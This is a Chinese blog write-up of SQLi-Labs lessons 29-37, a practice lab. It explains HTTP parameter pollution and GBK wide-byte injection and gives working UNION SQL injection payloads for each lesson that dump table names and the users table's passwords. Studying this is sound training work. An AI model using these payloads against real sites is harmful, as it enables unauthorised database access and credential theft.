《SQLi-Labs》05. Less 29~37


title: 《SQLi-Labs》05. Less 29~37

date: 2024-01-17 22:49:10

updated: 2024-02-12 18:09:10

categories: WriteUp:Security-Lab

excerpt: HTTP 参数污染,联合注入、宽字节注入。

comments: false

tags:

top_image: /images/backimg/SunsetClimbing.png


SQLi-Labs


靶场部署在 VMware - Win7。
靶场地址:https://github.com/Audi-1/sqli-labs

索引

  • Less-29:HTTP 参数污染。联合注入,字符型【'】。
  • Less-30:与 Less-29 相似。字符型【"】。
  • Less-31:与 Less-29 相似。字符型【")】。
  • Less-32:宽字节注入。联合注入,字符型【'】。
  • Less-33:与 Less-32 一样。
  • Less-34:原理与 Less-32 一样。post 形式,字符型【'】。
  • Less-35:原理与 Less-32 一样。数字型。
  • Less-36:与 Less-32 一样。
  • Less-37:与 Less-34 一样。

Less-29

题解

说有最好的防火墙。源码是判断传递的数据是否是数字。

这一题主要考察的是多个相同参数的解析问题。

例如 index.php?id=1&id=2,到底是解析 id=1 的数据还是解析 id=2 的?

这一关原本的思路是:

Less-29 就是会对输入的参数进行校验是否为数字,但是只提取第一个 id 值进行校验。

如果传递两个 id 参数,第一个 id 参数正常数字,第二个 id 参数进行 sql 注入即可。

其实第29关是用 jsp 搭建的服务器,所以建议在电脑中安装 Jspstudy 来安装 Jsp 的环境。

构造两个 id 参数,index.php?id=1&id=2,Apache PHP 会解析最后一个参数,Tomcat JSP 会解析第一个参数

明白了原理,直接上 payload。

爆表

复制代码
?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

复制代码
?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

爆敏感数据

复制代码
?id=1&id=-1' union select 1,group_concat(password,username),3 from users--+

总结

多个相同参数解析漏洞(HPP,HTTP 参数污染)。

《HTTP 参数污染(HPP)》
https://zhuanlan.zhihu.com/p/635422411

Less-30

题解

原理与 Less-29 一样。字符型【"】

复制代码
?id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

复制代码
?id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

爆敏感数据

复制代码
?id=1&id=-1" union select 1,group_concat(password,username),3 from users--+

Less-31

题解

原理与 Less-29 一样。字符型【")】

复制代码
?id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

复制代码
?id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

爆敏感数据

复制代码
?id=1&id=-1") union select 1,group_concat(password,username),3 from users--+

Less-32

题解

这题考察宽字节注入。

遇事不决看源码。

Less-32 使用 preg_replace() 函数将反斜杠【\】,单引号【'】、双引号【"】过滤了。如果输入 id=1" 会转义成 id=1\",使引号当作数据处理。

但是数据库使用了 gbk 编码。所以可以采用宽字节注入。同时可以对数据库表名进行 16 进制 ASCII 编码。

当某字符的大小为一个字节时,称其字符为窄字节。当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

先上 payload。

爆库名

复制代码
?id=-1%df' union select 1,database(),3 --+

MySQL 在使用 GBK 编码的时候,mysql 数据库会将 ASCII 大于等于128(%df)的字符当作是汉字字符的一部分(当作汉字处理),同时会认为两个字节为一个汉字,例如 %aa%5c 就是一个 汉字。
因为 urlencode(\') = %5c%27,如果在 %5c%27 前面添加 %df,形成 %df%5c%27,MySQL 就把 %df%5c 当做是一个汉字解析,%27(单引号【'】)则作为一个单独的符号。

爆表

复制代码
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

复制代码
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

对于宽字节注入,另一个影响在于爆字段时表名需要加引号,引号会被转义;但如果利用宽字节转义,会影响 payload 中的表名。
MySQL 支持十六进制表示法,可以使用 0x 前缀来表示十六进制数值。

例如:
where table_name='users' 等同于:
where table_name=0x7573657273

爆敏感数据

复制代码
?id=-1%df' union select 1,group_concat(password,username),3 from users--+

总结

宽字节注入。

  • 常见的宽字节编码:
    • GB2312
    • GBK
    • GB18030
    • BIG5
  • MySQL 在使用 GBK 编码的时候,数据库会将 ASCII 大于等于 128(%df)的字符当作是汉字字符的一部分,即当作汉字处理,会认为两个字节为一个汉字,例如 %aa%5c 就是一个汉字。
  • 这种情况下如果想去掉 sql 语句中的一个字节,那么在想去的字节前加上一个 ASCII 大于等于 128(%df)的字节即可。加上的字节和想去掉的那个字节会被合起来解析为汉字(无论有没有对应的汉字)。
  • 例如 urlencode(\') = %5c%27,如果在 %5c%27 前面添加 %df,形成 %df%5c%27,MySQL 就把 %df%5c 当做是一个汉字解析,%27(单引号【'】)则作为一个单独的符号。

MySQL 特性:支持十六进制表示法。

  • MySQL 支持十六进制表示法,可以使用 0x 前缀来表示十六进制数值。
  • 例如:
  • WHERE table_name='users' 等同于 WHERE table_name=0x7573657273
  • WHERE column_name='Bob' 等同于 WHERE column_name=0x426f62

Less-33

题解

Less-33 使用 addslashes() 函数,作用是返回在预定义字符之前添加反斜杠的字符串。

payload 和 Less-32 一样。

Less-34

题解

原理与 Less-32 一样。只不过是 post 形式的宽字节注入。

payload:

爆表

复制代码
-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆字段

复制代码
-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273-- a

爆敏感数据

复制代码
1%df' union select 1,group_concat(password,1,username) from users -- a

Less-35

题解

原理与 Less-32 一样,宽字节注入。不过是数字型。

爆表

复制代码
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

复制代码
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

爆敏感数据

复制代码
?id=-1 union select 1,group_concat(password,username),3 from users--+

Less-36

题解

payload 同 Less-32。

原理与 Less-32 一样,宽字节注入。只不过使用 mysql_real_escape_string 函数对特殊字符进行转义,作用与 Less-33 的 addslashes() 函数一样。

Less-37

题解

payload 与 Less-34 一样。原理同 Less-32,post 形式的宽字节注入。


松树千年终是朽,槿花一日自为荣。

------《放言五首 · 其五》(唐)白居易

相关推荐
工程师老罗13 小时前
如何在Android工程中配置NDK版本
android
崔庆才丨静觅13 小时前
hCaptcha 验证码图像识别 API 对接教程
前端
passerby606114 小时前
完成前端时间处理的另一块版图
前端·github·web components
掘了14 小时前
「2025 年终总结」在所有失去的人中,我最怀念我自己
前端·后端·年终总结
崔庆才丨静觅14 小时前
实用免费的 Short URL 短链接 API 对接说明
前端
崔庆才丨静觅14 小时前
5分钟快速搭建 AI 平台并用它赚钱!
前端
崔庆才丨静觅15 小时前
比官方便宜一半以上!Midjourney API 申请及使用
前端
Moment15 小时前
富文本编辑器在 AI 时代为什么这么受欢迎
前端·javascript·后端
崔庆才丨静觅15 小时前
刷屏全网的“nano-banana”API接入指南!0.1元/张量产高清创意图,开发者必藏
前端
剪刀石头布啊15 小时前
jwt介绍
前端